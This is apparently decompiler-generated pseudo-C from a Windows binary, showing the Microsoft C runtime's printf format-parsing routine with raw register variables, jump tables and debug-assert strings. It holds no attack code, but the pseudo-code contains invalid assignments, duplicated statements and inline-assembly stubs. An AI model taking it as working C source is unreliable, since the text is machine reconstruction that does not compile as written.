								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M00435560))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E00431210( *(_t627 - 0x251) & 0x000000ff, E0041ACE0(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E004281F0( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E004281F0( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041E210();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422D00(_t572))) = 0x16;
													E00422A90(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041ACB0(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x435598; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435580))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x4355c0; // 0x4dce9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M004355AC))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x43562c; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004355F0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E00428360(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x440f80; // 0x404448
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041ACE0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xf2632e26
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACE0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xf2d1ae26
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACE0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xf2c8ae26
																	E00424550(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428360(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E004283A0(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428360(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L97:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L98:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L99:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L100:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L108:
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
